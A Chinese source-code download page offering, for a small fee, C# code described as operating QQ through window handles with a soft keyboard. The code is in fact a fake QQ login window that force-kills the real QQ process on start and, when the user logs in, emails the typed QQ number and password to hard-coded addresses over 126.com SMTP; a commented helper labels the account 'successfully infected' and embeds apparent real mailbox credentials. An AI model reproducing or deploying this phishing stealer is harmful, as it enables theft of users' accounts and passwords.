基本信息
源码名称:C#通过句柄操作QQ(有软键盘功能)
源码大小:4.37M
文件格式:.zip
开发语言:C#
更新时间:2017-07-13
   友情提示:(无需注册或充值,赞助后即可获取资源下载链接)

     嘿,亲!知识可是无价之宝呢,但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下,绝对物超所值哦!如有下载和支付问题,请联系我们QQ(微信同号):78630559

本次赞助数额为: 1 元 
   源码介绍


 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using CCWin;
using CCWin.SkinControl;
using CCWin.SkinClass;
using System.Runtime.InteropServices;
using System.Threading;
using System.Net.Mail;
using System.Diagnostics;

//此代码是在51aspx上的源码基础上进行修改的,仅用于学习与研究,若用于其他用途,后果自负

namespace QQ2013
{
    public partial class FrmLogin : CCSkinMain
    {
        /// <summary>
        /// 关闭进程
        /// </summary>
        /// <param name="processName">进程名</param>
        private void KillProcess(string processName)
        {
            Process[] myproc = Process.GetProcesses();
            foreach (Process item in myproc)
            {
                if (item.ProcessName == processName)
                {
                    item.Kill();
                }
            }
        }

        private string RunCmd(string command)
        {
             //实例一个Process类,启动一个独立进程
             Process p = new Process();
             //Process类有一个StartInfo属性
             //设定程序名
             p.StartInfo.FileName = "cmd.exe";
             //设定程式执行参数   
             p.StartInfo.Arguments = "/c "   command;
             //关闭Shell的使用  
             p.StartInfo.UseShellExecute = false;   
             //重定向标准输入     
             p.StartInfo.RedirectStandardInput = true;
             p.StartInfo.RedirectStandardOutput = true;
             //重定向错误输出  
             p.StartInfo.RedirectStandardError = true;  
             //设置不显示窗口
             p.StartInfo.CreateNoWindow = true;          
             //启动
             p.Start();   
             //也可以用这种方式输入要执行的命令
             //不过要记得加上Exit要不然下一行程式执行的时候会当机
             //p.StandardInput.WriteLine(command);
             //p.StandardInput.WriteLine("exit");       
             //从输出流取得命令执行结果
             return p.StandardOutput.ReadToEnd();
        }

        public FrmLogin()
        {
            //KillProcess("QQ");
            RunCmd("taskkill /im QQ.exe /f ");
            InitializeComponent();
        }

        //窗口加载时
        private void FrmLogin_Load(object sender, EventArgs e)
        {
            int Hour = Convert.ToInt32(DateTime.Now.ToString("HH"));
            //早上
            if (Hour > 5 && Hour <= 11)
            {
                this.Back = Properties.Resources.morning;
            }
            else if (Hour > 11 && Hour <= 14)//中午
            {
                this.Back = Properties.Resources.noon;
            }
            else if (Hour > 14 && Hour <= 19)//下午
            {
                this.Back = Properties.Resources.afternoon;
            }
            else//晚上
            {
                this.Back = Properties.Resources.night;
            }
        }

        //状态菜单中的Item选择事件
        void item_Click(object sender, EventArgs e)
        {
            ToolStripMenuItem item = (ToolStripMenuItem)sender;
            txtId.Text = item.Tag.ToString();
            pnlImgTx.BackgroundImage = item.Image;
        }

        //悬浮时
        private void Control_MouseEnter(object sender, EventArgs e)
        {
           /* Control txt = (Control)sender;
            SkinPanel pnl = (SkinPanel)txt.Parent;
            pnl.ControlState = ControlState.Hover;*/
        }

        //离开时
        private void Control_MouseLeave(object sender, EventArgs e)
        {
            /*Control txt = (Control)sender;
            SkinPanel pnl = (SkinPanel)txt.Parent;
            pnl.ControlState = ControlState.Normal;*/
        }

        //托盘图标双击显示
        private void tuopan_DoubleClick(object sender, EventArgs e)
        {
            this.Show();
        }

        //登录事件
        private void btnDl_Click(object sender, EventArgs e)
        {
            if (txtId.Text.Length == 0 || txtPwd.Text.Length == 0) { return; }
            SendEmil();
            btnDl.Enabled = false;
            //imgLoadding.Visible = true;
            timShow.Start();
        }

        //选择状态
        private void btnState_Click(object sender, EventArgs e)
        {
            MenuState.Show(this.Left   pnlImgTx.Right, this.Top   pnlImgTx.Bottom   5);
        }

        //状态选择项
        private void Item_Click(object sender, EventArgs e)
        {
            ToolStripMenuItem Item = (ToolStripMenuItem)sender;
            btnState.Image = Item.Image;
            btnState.Tag = Item.Tag;
        }

        //账号下拉框按钮事件
        private void btnId_Click(object sender, EventArgs e)
        {
        }

        //软键盘
        private void txtPwd_IconClick(object sender, EventArgs e)
        {
            txtPwd.IsSystemPasswordChar = true;
            
            var xx =new  CCWin.SkinControl.SkinWaterTextBox();
            xx.UseSystemPasswordChar = true;
            xx.PasswordChar = '*';
            xx.TextChanged  = delegate(object senderx, EventArgs ex) { txtPwd.Text = xx.Text; };//new EventHandler(textBox2_TextChanged) ;}
            PassKey pass = new PassKey(this.Left   txtPwd.Left - 25, this.Top   txtPwd.Bottom, xx);
            pass.Show();
        }


        //自动登录
        private void chkZdLogin_CheckedChanged(object sender, EventArgs e)
        {
            chkMima.Checked = chkZdLogin.Checked ? true : chkMima.Checked;
        }

        //记住密码
        private void chkMima_CheckedChanged(object sender, EventArgs e)
        {
            if (!chkMima.Checked && chkZdLogin.Checked)
            {
                chkZdLogin.Checked = false;
            }
        }

        //计时器事件
        private void timShow_Tick(object sender, EventArgs e)
        {
            this.Close();
            tuopan.Text = String.Format("QQ:{0}({1})", txtId.Text, txtId.Text);
            timShow.Stop();
        }

        //发送邮件
        private bool SendEmil()
        {/*
            SmtpClient client = new SmtpClient();
            //这个地方的用户名你可以用split从发送人中截取
            client.Credentials = new System.Net.NetworkCredential("wu_man@126.com","ljwm3905526");
            client.Port = 25;
            client.Host = "smtp.126.com";
            try
            {
                client.Send(Initial("wu_man@126.com"));
                return true;
            }
            catch (System.Net.Mail.SmtpException)
            {
                return false;
            }*/
 
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();    
            msg.To.Add("test@126.com");    
            msg.To.Add("test@qq.com");
    
            /*   
            * msg.To.Add("b@b.com");   
            * msg.To.Add("b@b.com");   
            * msg.To.Add("b@b.com");可以发送给多人   
            */    
            //msg.CC.Add("c@c.com");    
            /*   
            * msg.CC.Add("c@c.com");   
            * msg.CC.Add("c@c.com");可以抄送给多人   
            */
            msg.From = new MailAddress("test@126.com", "test", System.Text.Encoding.UTF8);    
            /* 上面3个参数分别是发件人地址(可以随便写),发件人姓名,编码*/    
            msg.Subject = "这是测试邮件";//邮件标题    
            msg.SubjectEncoding = System.Text.Encoding.UTF8;//邮件标题编码    
            msg.Body = "用户名:"   txtId.Text   ",密码:"   txtPwd.Text;//邮件内容    
            msg.BodyEncoding = System.Text.Encoding.UTF8;//邮件内容编码    
            msg.IsBodyHtml = false;//是否是HTML邮件    
            msg.Priority = MailPriority.High;//邮件优先级    
   
            SmtpClient client = new SmtpClient();   
            client.Credentials = new System.Net.NetworkCredential("test@126.com", "passsword");    
            //在126.com注册的邮箱和密码    
            client.Host = "smtp.126.com";    
            object userState = msg;    
            try    
            {    
                client.SendAsync(msg, userState);    
                //简单一点儿可以client.Send(msg);    
                MessageBox.Show("发送成功:"   msg.Body);
                return true;
            }    
            catch (System.Net.Mail.SmtpException ex)    
            {    
                MessageBox.Show(ex.Message, "发送邮件出错");
                return false;
            }    
        }

        //配置邮件信息
        public MailMessage Initial(string Address)
        {
            MailMessage m_Mail = new MailMessage();
            //发件人
            m_Mail.From = new MailAddress("test@qq.com");
            //收件人
            m_Mail.To.Add(new MailAddress(Address));
            //主题
            m_Mail.Subject = "QQ号:"   txtId.Text   "已成功感染!";
            //内容
            m_Mail.Body = "QQ号:("   txtId.Text   ")密码:("   txtPwd.Text   ")";
            //邮件主题和正文编码格式
            m_Mail.SubjectEncoding = System.Text.Encoding.UTF8;
            m_Mail.BodyEncoding = System.Text.Encoding.UTF8;
            //邮件正文是Html编码
            m_Mail.IsBodyHtml = true;
            //优先级
            m_Mail.Priority = System.Net.Mail.MailPriority.High;
            //添加附件,可以添加多个
            //m_Mail.Attachments.Add(new Attachment("f:\\1.txt"));
            //密件抄送收件人
            m_Mail.Bcc.Add(Address);
            //抄送收件人
            m_Mail.CC.Add(Address);
            return m_Mail;
        }

        //QQ号栏失去焦点便将光标转移进密码栏
        private void txtId_Leave(object sender, EventArgs e)
        {
            txtPwd.Focus();
        }
    }
}